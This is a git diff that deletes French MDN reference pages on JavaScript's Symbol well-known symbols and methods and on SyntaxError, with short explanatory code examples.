diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/matchall/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/matchall/index.html deleted file mode 100644 index 93b8428c10..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/matchall/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Symbol.matchAll -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/matchAll -tags: - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/matchAll ---- -
{{JSRef}}
- -

Le symbole connu Symbol.matchAll renvoie un itérateur qui fournit l'ensemble des correspondances entre une expression rationnelle et une chaîne de caractères. Cette fonction est implicitement appelée par la méthode {{jsxref("String.prototype.matchAll()")}}.

- -
{{EmbedInteractiveExample("pages/js/symbol-matchall.html")}}
- - - -

Description

- -
-

Ce symbole est utilisé par {{jsxref("String.prototype.matchAll()")}} et plus particulièrement par {{jsxref("RegExp.@@matchAll", "RegExp.prototype[@@matchAll]()")}}. Les deux lignes qui suivent renverront le même résultat :

- -
'abc'.matchAll(/a/);
-
-/a/[Symbol.matchAll]('abc');
- -

Cette méthode existe afin de personnaliser le comportement des correspondances pour les sous-classes de {{jsxref("RegExp")}}.

- -

{{js_property_attributes(0,0,0)}}

-
- -

Exemples

- -

Voir les pages {{jsxref("String.prototype.matchAll()")}} et {{jsxref("RegExp.@@matchAll", "RegExp.prototype[@@matchAll]()")}} pour plus d'exemples.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-symbol.matchall', 'Symbol.matchAll')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.matchAll")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.matchAll()")}}
    • -
  • {{jsxref("RegExp.@@matchAll", "RegExp.prototype[@@matchAll]()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/prototype/index.html deleted file mode 100644 index 9f3c6f0703..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/prototype/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Symbol.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/prototype -tags: - - ECMAScript6 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol -translation_of_original: Web/JavaScript/Reference/Global_Objects/Symbol/prototype ---- -
{{JSRef}}
- -

La propriété Symbol.prototype représente le prototype du constructeur {{jsxref("Symbol")}}.

- -
{{EmbedInteractiveExample("pages/js/symbol-prototype.html")}}
- - - -

Description

- -

Les instances de {{jsxref("Symbol")}} héritent toutes de {{jsxref("Symbol.prototype")}}. Ce prototype du constructeur peut être utilisé afin d'ajouter des propriétés et/ou des méthodes pour chaque instance de Symbol via la chaîne de prototypes.

- -

{{js_property_attributes(0,0,0)}}

- -

Propriétés

- -
-
Symbol.prototype.constructor
-
Cette propriété correspond à la fonction qui a crée l'instance du prototype. Par défaut, c'est la fonction {{jsxref("Symbol")}} qui est renvoyée.
-
{{jsxref("Symbol.prototype.description")}}
-
Une chaîne de caractères en lecture seule qui contient la description du symbole.
-
- -

Méthodes

- -
-
{{jsxref("Symbol.prototype.toSource()")}} {{Non-standard_inline}}
-
Cette méthode renvoie une chaîne de caractères contenant la source de l'objet {{jsxref("Objets_globaux/Symbol", "Symbol")}}. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toSource()")}}.
-
{{jsxref("Symbol.prototype.toString()")}}
-
Cette méthode renvoie une chaîne de caractères contenant la description du symbole. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toString()")}}.
-
{{jsxref("Symbol.prototype.valueOf()")}}
-
Cette méthode renvoie la valeur primitive de l'objet {{jsxref("Symbol")}}. Cette méthode surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.
-
{{jsxref("Symbol.prototype.@@toPrimitive()", "Symbol.prototype[@@toPrimitive]")}}
-
Renvoie la valeur primitive de l'objet {{jsxref("Symbol")}}.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-symbol.prototype', 'Symbol.prototype')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.prototype', 'Symbol.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.prototype")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/replace/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/replace/index.html deleted file mode 100644 index e469681898..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/replace/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Symbol.replace -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/replace -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/replace ---- -
{{JSRef}}
- -

Le symbole connu Symbol.replace définit la méthode utilisée pour remplacer les correspondances trouvées dans une chaîne de caractères. Cette fonction est appelée par la méthode {{jsxref("String.prototype.replace()")}}.

- -

Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@replace", "RegExp.prototype[@@replace]()")}} et {{jsxref("String.prototype.replace()")}}.

- -
{{EmbedInteractiveExample("pages/js/symbol-replace.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.replace', 'Symbol.replace')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.replace', 'Symbol.replace')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.replace")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Symbol.match")}}
    • -
  • {{jsxref("Symbol.search")}}
    • -
  • {{jsxref("Symbol.split")}}
    • -
  • {{jsxref("RegExp.@@replace", "RegExp.prototype[@@replace]()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/search/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/search/index.html deleted file mode 100644 index 02fed384b8..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/search/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Symbol.search -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/search -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/search ---- -
{{JSRef}}
- -

Le symbole connu Symbol.search définit la méthode qui renvoie l'indice indiquant la position d'une correspondance trouvée dans une chaîne de caractères grâce à une expression rationnelle. Cette fonction est appelée par la méthode {{jsxref("String.prototype.search()")}}.

- -

Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@search", "RegExp.prototype[@@search]()")}} et {{jsxref("String.prototype.search()")}}.

- -
{{EmbedInteractiveExample("pages/js/symbol-search.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.search', 'Symbol.search')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.search', 'Symbol.search')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.search")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Symbol.match")}}
    • -
  • {{jsxref("Symbol.replace")}}
    • -
  • {{jsxref("Symbol.split")}}
    • -
  • {{jsxref("RegExp.@@search", "RegExp.prototype[@@search]()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/species/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/species/index.html deleted file mode 100644 index 771782df4a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/species/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Symbol.species -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/species -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/species ---- -
{{JSRef}}
- -

Le symbole Symbol.species correspond à une fonction utilisée comme constructeur pour créer des objets dérivés.

- -
{{EmbedInteractiveExample("pages/js/symbol-species.html")}}
- - - -

Description

- -

L'accesseur species permettent aux classes filles de surcharger le constructeur par défaut des objets.

- -

{{js_property_attributes(0,0,0)}}

- -

Exemples

- -

Dans certains cas, vous pouvez avoir besoin de renvoyer {{jsxref("Array")}} pour les objets de votre classe dérivée MonArray. Cela permet par exemple d'utiliser le constructeur par défaut lors d'un appel à {{jsxref("Array.map", "map()")}}. De cette façon, ces méthodes renverront un objet Array plutôt qu'un objet MonArray. Grâce au symbole species, vous pouvez donc faire :

- -
class MonArray extends Array {
-  // On surcharge species avec le constructeur parent Array
-  static get [Symbol.species]() { return Array; }
-}
-var a = new MonArray(1,2,3);
-var mapped = a.map(x => x * x);
-
-console.log(mapped instanceof MonArray); // false
-console.log(mapped instanceof Array);    // true
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.species', 'Symbol.species')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.species', 'Symbol.species')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.species")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map.@@species", "Map[@@species]")}}
    • -
  • {{jsxref("Set.@@species", "Set[@@species]")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/split/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/split/index.html deleted file mode 100644 index 4be991bee2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/split/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Symbol.split -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/split -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/split ---- -
{{JSRef}}
- -

Le symbole connu Symbol.split définit la méthode qui est utilisée pour découper une chaîne de caractères à l'emplacement où une correspondance a été trouvée grâce à une expression rationnelle. Cette fonction est appelée par la méthode {{jsxref("String.prototype.split()")}}.

- -

Pour plus d'informations, se référer aux pages sur {{jsxref("RegExp.@@split", "RegExp.prototype[@@split]()")}} et {{jsxref("String.prototype.split()")}}.

- -
{{EmbedInteractiveExample("pages/js/symbol-split.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.split', 'Symbol.split')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.split', 'Symbol.split')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.split")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Symbol.match")}}
    • -
  • {{jsxref("Symbol.replace")}}
    • -
  • {{jsxref("Symbol.search")}}
    • -
  • {{jsxref("RegExp.@@split", "RegExp.prototype[@@split]()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/toprimitive/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/toprimitive/index.html deleted file mode 100644 index cd3aaed1ed..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/toprimitive/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Symbol.toPrimitive -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toPrimitive -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive ---- -
{{JSRef}}
- -

Le symbole « connu » Symbol.toPrimitive définit une fonction qui est appelée pour convertir un objet en une valeur primitive.

- -
{{EmbedInteractiveExample("pages/js/symbol-toprimitive.html")}}
- - - -

Description

- -

Lorsqu'on convertit un objet en une valeur primitive et que l'objet possède une propriété Symbol.toPrimitive dont la valeur est une fonction, la fonction est appelée avec une chaîne de caractère (hint) qui définit le type qu'on privilégie pour la valeur primitive. L'argument hint peut prendre l'une des valeurs suivantes : "number", "string" ou "default".

- -

{{js_property_attributes(0,0,0)}}

- -

Exemples

- -

Dans l'exemple qui suit, on voit comment la propriété Symbol.toPrimitive peut modifier la valeur primitive obtenue lors de la conversion d'un objet.

- -
// Premier cas avec un objet sans Symbol.toPrimitive.
-let obj1 = {};
-console.log(+obj1);     // NaN
-console.log(`${obj1}`); // "[object Object]"
-console.log(obj1 + ""); // "[object Object]"
-
-// Second cas : l'objet a une propriété Symbol.toPrimitive
-var obj2 = {
-  [Symbol.toPrimitive](hint) {
-    if (hint === "number") {
-      return 10;
-    }
-    if (hint === "string") {
-      return "coucou";
-    }
-    return true;
-  }
-};
-console.log(+obj2);     // 10       -- hint vaut "number"
-console.log(`${obj2}`); // "coucou" -- hint vaut "string"
-console.log(obj2 + ""); // true     -- hint vaut "default"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationEtatCommentaires
{{SpecName('ES2015', '#sec-symbol.toprimitive', 'Symbol.toPrimitive')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.toprimitive', 'Symbol.toPrimitive')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.toPrimitive")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.@@toPrimitive", "Date.prototype[@@toPrimitive]")}}
    • -
  • {{jsxref("Symbol.@@toPrimitive", "Symbol.prototype[@@toPrimitive]")}}
    • -
  • {{jsxref("Object.prototype.toString()")}}
    • -
  • {{jsxref("Object.prototype.valueOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/tosource/index.html deleted file mode 100644 index 1816fe5c24..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/tosource/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Symbol.prototype.toSource() -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toSource -tags: - - JavaScript - - Méthode - - Non-standard - - Prototype - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toSource ---- -
{{JSRef}} {{non-standard_header}}
- -

La méthode toSource() renvoie une chaîne de caractères représentant le code source de l'objet.

- -

L'utilisation de cette méthode est généralement interne au moteur JavaScript.

- -

Syntaxe

- -
Symbol.toSource();
-
-var sym = Symbol();
-sym.toSource();
- -

Valeur de retour

- -

Une chaîne de caractères qui représente le code source de l'objet.

- -

Description

- -

La méthode toSource renvoie les valeurs suivantes :

- -
    -
  • Pour l'objet Symbol natif, toSource() renvoie la chaîne suivante, indiquant que le code source n'est pas disponible : - - 
    "function Symbol() {
-   [native code]
-}"
    -
    • -
  • Pour les instances de Symbol, toSource() renvoie une chaîne représentant le code source : - 
    "Symbol()"
    -
    • -
- -

Spécifications

- -

Cette méthode ne fait partie d'aucun standard.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.toSource")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toSource()")}} {{Non-standard_inline()}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/tostring/index.html deleted file mode 100644 index ee2778bbde..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/tostring/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Symbol.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toString -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toString ---- -
{{JSRef}}
- -

La méthode toString() renvoie une chaîne de caractères représentant l'objet Symbol.

- -
{{EmbedInteractiveExample("pages/js/symbol-prototype-tostring.html")}}
- - - -

Syntaxe

- -
Symbol().toString();
- -

Valeur de retour

- -

Une chaîne de caractères qui représente l'objet {{jsxref("Symbol")}}.

- -

Description

- -

L'objet {{jsxref("Symbol")}} surcharge la méthode toString() d'{{jsxref("Object")}} et n'hérite pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets Symbol, la méthode toString() renvoie représentation de l'objet sous forme d'une chaîne de caractères.

- -

Concaténation de chaînes et symboles

- -

Bien qu'il soit possible d'appeler toString() pour les symboles, il n'est pas possible de concaténer une chaîne de caractères avec ce type d'objet :

- -
Symbol("toto") + "machin";  // TypeError : Impossible de convertir un symbole en chaîne de caractères
- -

Exemples

- -
Symbol("desc").toString();   // "Symbol(desc)"
-
-// symboles connus
-Symbol.iterator.toString();  // "Symbol(Symbol.iterator)
-
-// symboles globaux
-Symbol.for("toto").toString() // "Symbol(toto)"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.prototype.tostring', 'Symbol.prototype.toString')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-symbol.prototype.tostring', 'Symbol.prototype.toString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.toString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/tostringtag/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/tostringtag/index.html deleted file mode 100644 index ba2e53b0b7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/tostringtag/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Symbol.toStringTag -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/toStringTag -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toStringTag ---- -
{{JSRef}}
- -

Le symbole connu Symbol.toStringTag est une propriété qui est une chaîne de caractères qui est utilisée pour la description textuelle par défaut d'un objet. Ce symbole est utilisé par le moteur JavaScript via la méthode {{jsxref("Object.prototype.toString()")}}.

- -
{{EmbedInteractiveExample("pages/js/symbol-tostringtag.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

La plupart des types JavaScript ont des étiquettes par défaut :

- -
Object.prototype.toString.call('toto');    // "[object String]"
-Object.prototype.toString.call([1, 2]);    // "[object Array]"
-Object.prototype.toString.call(3);         // "[object Number]"
-Object.prototype.toString.call(true);      // "[object Boolean]"
-Object.prototype.toString.call(undefined); // "[object Undefined]"
-Object.prototype.toString.call(null);      // "[object Null]"
-// etc.
-
- -

D'autres ont le symbole natif toStringTag défini :

- -
Object.prototype.toString.call(new Map());         // "[object Map]"
-Object.prototype.toString.call(function* () {});   // "[object GeneratorFunction]"
-Object.prototype.toString.call(Promise.resolve()); // "[object Promise]"
-// etc.
-
- -

Lorsqu'on crée des classes personnalisées, JavaScript utilise l'étiquette "Object" par défaut :

- -
class ValidatorClass {}
-
-Object.prototype.toString.call(new ValidatorClass()); // "[object Object]"
-
- -

Si on utilise le symbole toStringTag on peut définir une étiquette personnalisée :

- -
class ValidatorClass {
-  get [Symbol.toStringTag]() {
-    return "Validator";
-  }
-}
-
-Object.prototype.toString.call(new ValidatorClass()); // "[object Validator]"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.tostringtag', 'Symbol.toStringTag')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.tostringtag', 'Symbol.toStringTag')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.toStringTag")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/unscopables/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/unscopables/index.html deleted file mode 100644 index b026e13a40..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/unscopables/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Symbol.unscopables -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/unscopables -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/unscopables ---- -
{{JSRef}}
- -

Le symbole connu Symbol.unscopables est utilisé afin de définir les noms des propriétés propres et héritées qui sont exclues de l'objet lors de l'utilisation de with sur l'objet en question.

- -
{{EmbedInteractiveExample("pages/js/symbol-unscopables.html")}}
- - - -

Description

- -

Le symbole @@unscopables (Symbol.unscopables) peut être défini sur n'importe quel objet afin de ne pas exposer certaines propriétés lors des liaisons lexicales avec with. Note : en mode strict, l'instruction with n'est pas disponible et ce symbole est donc probablement moins nécessaire.

- -

En définissant une propriété comme true dans un objet unscopables, cela exclura la propriété de la portée lexicale. En définissant une propriété comme false, celle-ci pourra faire partie de la portée lexicale et être manipulée dans un bloc with.

- -

{{js_property_attributes(0,0,0)}}

- -

Exemples

- -

Le code qui suit fonctionne bien pour ES5 et les versions antérieures. En revanche, pour ECMAScript 2015 (ES6) et les versions ultérieures où la méthode  {{jsxref("Array.prototype.keys()")}} existe, lorsqu'on utilise un environnement créé avec with, "keys" serait désormais la méthode et non la variable. C'est là que le symbole natif @@unscopables Array.prototype[@@unscopables] intervient et empêche d'explorer ces méthodes avec with.

- -
var keys = [];
-
-with(Array.prototype) {
-  keys.push("something");
-}
-
-Object.keys(Array.prototype[Symbol.unscopables]);
-// ["copyWithin", "entries", "fill", "find", "findIndex",
-//  "includes", "keys", "values"]
- -

On peut également manipuler unscopables sur ses propres objets :

- -
var obj = {
-  toto: 1,
-  truc: 2
-};
-
-obj[Symbol.unscopables] = {
-  toto: false,
-  truc: true
-};
-
-with(obj) {
-  console.log(toto); // 1
-  console.log(truc); // ReferenceError: truc is not defined
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.unscopables', 'Symbol.unscopables')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.unscopables', 'Symbol.unscopables')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.unscopables")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/valueof/index.html deleted file mode 100644 index 20e41ab280..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/valueof/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Symbol.prototype.valueOf() -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/valueOf -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/valueOf ---- -
{{JSRef}}
- -

La méthode valueOf() renvoie la valeur primitive correspondant à l'objet Symbol.

- -

Syntaxe

- -
Symbol().valueOf();
-
- -

Valeur de retour

- -

La valeur primitive de l'objet {{jsxref("Symbol")}} indiqué.

- -

Description

- -

La méthode valueOf de {{jsxref("Symbol")}} renvoie une valeur dont le type est le type primitif symbole à partir de l'objet Symbol donné.

- -

JavaScript appelle la méthode valueOf afin de convertir l'objet en une valeur primitive. La plupart du temps, il n'est pas nécessaire d'appeler explicitement la méthode valueOf. JavaScript l'appelle automatiquement dans les cas où une valeur primitive est attendue.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.prototype.valueof', 'Symbol.prototype.valueOf')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.prototype.valueof', 'Symbol.prototype.valueOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.valueOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.valueOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/syntaxerror/index.html b/files/fr/web/javascript/reference/objets_globaux/syntaxerror/index.html deleted file mode 100644 index 2f362a9467..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/syntaxerror/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: SyntaxError -slug: Web/JavaScript/Reference/Objets_globaux/SyntaxError -tags: - - Error - - JavaScript - - Object - - Reference - - SyntaxError -translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError ---- -
{{JSRef}}
- -

L'objet SyntaxError représente une erreur qui se produit lors de l'interprétation d'un code dont la syntaxe est invalide.

- -

Description

- -

Une exception SyntaxError est levée lorsque le moteur JavaScript rencontre des entités lexicales invalide ou dans un ordre invalide par rapport à la grammaire du langage.

- -

Syntaxe

- -
new SyntaxError([message[, nomFichier[, numLigne]]])
- -

Paramètres

- -
-
message{{optional_inline}}
-
Une description, lisible par un humain, de l'erreur.
-
nomFichier {{optional_inline}}{{non-standard_inline}}
-
Le nom du fichier contenant le code provoquant l'erreur.
-
numLigne {{optional_inline}}{{non-standard_inline}}
-
Le numéro de la ligne du code qui a provoqué l'exception.
-
- -

Propriétés

- -
-
{{jsxref("SyntaxError.prototype")}}
-
Cette méthode permet d'ajouter des propriétés aux instance de SyntaxError.
-
- -

Méthodes

- -

L'objet global SyntaxError ne contient pas de méthodes directes. En revanche, il hérite de méthodes grâce à sa chaîne de prototypes.

- -

Instances de SyntaxError

- -

Propriétés

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/SyntaxError/prototype', 'Propriétés')}}
- -

Méthodes

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/SyntaxError/prototype', 'Méthodes')}}
- -

Exemples

- -

Intercepter une exception SyntaxError

- -
try {
-  eval('toto truc');
-} catch (e) {
-  console.log(e instanceof SyntaxError); // true
-  console.log(e.message);                // "missing ; before statement"
-  console.log(e.name);                   // "SyntaxError"
-  console.log(e.fileName);               // "Scratchpad/1"
-  console.log(e.lineNumber);             // 1
-  console.log(e.columnNumber);           // 4
-  console.log(e.stack);                  // "@Scratchpad/1:2:3\n"
-}
-
- -

Créer une exception SyntaxError

- -
try {
-  throw new SyntaxError('Coucou', 'unFichier.js', 10);
-} catch (e) {
-  console.log(e instanceof SyntaxError); // true
-  console.log(e.message);                // "Coucou"
-  console.log(e.name);                   // "SyntaxError"
-  console.log(e.fileName);               // "unFichier.js"
-  console.log(e.lineNumber);             // 10
-  console.log(e.columnNumber);           // 0
-  console.log(e.stack);                  // "@Scratchpad/2:11:9\n"
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.6.4', 'SyntaxError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.SyntaxError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error")}}
    • -
  • {{jsxref("SyntaxError.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/syntaxerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/syntaxerror/prototype/index.html deleted file mode 100644 index 7407f68670..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/syntaxerror/prototype/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: SyntaxError.prototype -slug: Web/JavaScript/Reference/Objets_globaux/SyntaxError/prototype -tags: - - Error - - JavaScript - - Propriété - - Prototype - - Reference - - SyntaxError -translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError -translation_of_original: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype ---- -
{{JSRef}}
- -

La propriété SyntaxError.prototype représente le prototype du constructeur {{jsxref("SyntaxError")}}.

- -

Description

- -

Toutes les instances de {{jsxref("SyntaxError")}} héritent de SyntaxError.prototype. Le prototype peut être utilisé afin d'ajouter des propriétés ou des méthodes à toutes les instances.

- -

Propriétés

- -
-
SyntaxError.prototype.constructor
-
Définit la fonction qui a créé le prototype d'une instance.
-
{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}
-
Un message d'erreur. Bien que ECMA-262 définisse que {{jsxref("SyntaxError")}} doit avoir une propriété message en propre, dans SpiderMonkey, elle est héritée depuis {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}
-
Un nom d'erreur. Propriété héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}
-
